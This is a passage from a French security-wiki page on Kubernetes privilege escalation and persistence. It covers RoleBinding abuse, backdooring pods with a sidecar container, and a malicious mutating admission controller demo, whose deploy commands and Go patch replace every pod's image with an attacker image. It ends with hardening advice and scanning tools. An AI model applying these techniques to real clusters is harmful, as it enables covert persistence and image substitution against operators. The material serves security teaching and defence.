Le privilĂšge de crĂ©er des Rolebindings permet Ă  un utilisateur de lier des roles Ă  un service account. Ce privilĂšge peut potentiellement conduire Ă  une Ă©lĂ©vation de privilĂšges puisqu’il permet Ă  l’utilisateur d’attribuer des privilĂšges admin Ă  un service account compromis.

Other Attacks

Sidecar proxy app

Par dĂ©faut, il n’y a pas d’encryption dans la communication entre pods. Authentification mutuelle, bidirectionnelle, pod Ă  pod.

Create a sidecar proxy app

Un sidecar container consiste simplement Ă  ajouter un second (ou plusieurs) conteneur Ă  l’intĂ©rieur d’un pod.

Par exemple, ce qui suit fait partie de la configuration d’un pod avec 2 containers :

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could give more permissions to the second container that the first won’t have.

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Admission Controller malveillant

Un admission controller intercepte les requĂȘtes vers le Kubernetes API server avant la persistance de l’objet, mais aprĂšs que la requĂȘte soit authentifiĂ©e et autorisĂ©e.

Si un attaquant parvient d’une maniĂšre ou d’une autre Ă  injecter un Mutation Admission Controller, il pourra modifier des requĂȘtes dĂ©jĂ  authentifiĂ©es. Cela peut permettre potentiellement une privesc, et, plus gĂ©nĂ©ralement, de persister dans le cluster.

Exemple provenant de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

VĂ©rifiez le statut pour voir s’il est prĂȘt :

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Ensuite, déployez un nouveau pod :

kubectl run nginx --image nginx
kubectl get po -w

Lorsque vous voyez l’erreur ErrImagePull, vĂ©rifiez le nom de l’image avec l’une des requĂȘtes suivantes :

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Comme vous pouvez le voir sur l’image ci‑dessus, nous avons essayĂ© d’exĂ©cuter l’image nginx mais l’image finalement exĂ©cutĂ©e est rewanthtammana/malicious-image. Que s’est‑il passĂ© !?

Détails techniques

Le script ./deploy.sh met en place un mutating webhook admission controller, qui modifie les requĂȘtes vers l’API Kubernetes comme spĂ©cifiĂ© dans ses lignes de configuration, ce qui explique les rĂ©sultats observĂ©s :

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

L’extrait ci‑dessous remplace la premiùre image de conteneur de chaque pod par rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Bonnes pratiques

Désactivation du montage automatique des jetons des comptes de service

  • Pods et comptes de service : Par dĂ©faut, les pods montent un jeton de compte de service. Pour renforcer la sĂ©curitĂ©, Kubernetes permet de dĂ©sactiver cette fonctionnalitĂ© de montage automatique.
  • Comment appliquer : DĂ©finissez automountServiceAccountToken: false dans la configuration des comptes de service ou des pods Ă  partir de la version 1.6 de Kubernetes.

Affectation restrictive des utilisateurs dans RoleBindings/ClusterRoleBindings

  • Inclusion sĂ©lective : Assurez-vous que seuls les utilisateurs nĂ©cessaires sont inclus dans RoleBindings ou ClusterRoleBindings. Auditez rĂ©guliĂšrement et supprimez les utilisateurs non pertinents pour maintenir une sĂ©curitĂ© stricte.

RĂŽles spĂ©cifiques au namespace plutĂŽt que rĂŽles Ă  l’échelle du cluster

  • Roles vs. ClusterRoles : PrivilĂ©giez l’utilisation de Roles et RoleBindings pour des permissions spĂ©cifiques Ă  un namespace plutĂŽt que des ClusterRoles et ClusterRoleBindings, qui s’appliquent Ă  l’ensemble du cluster. Cette approche offre un contrĂŽle plus fin et limite la portĂ©e des permissions.

Utiliser des outils automatisés

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks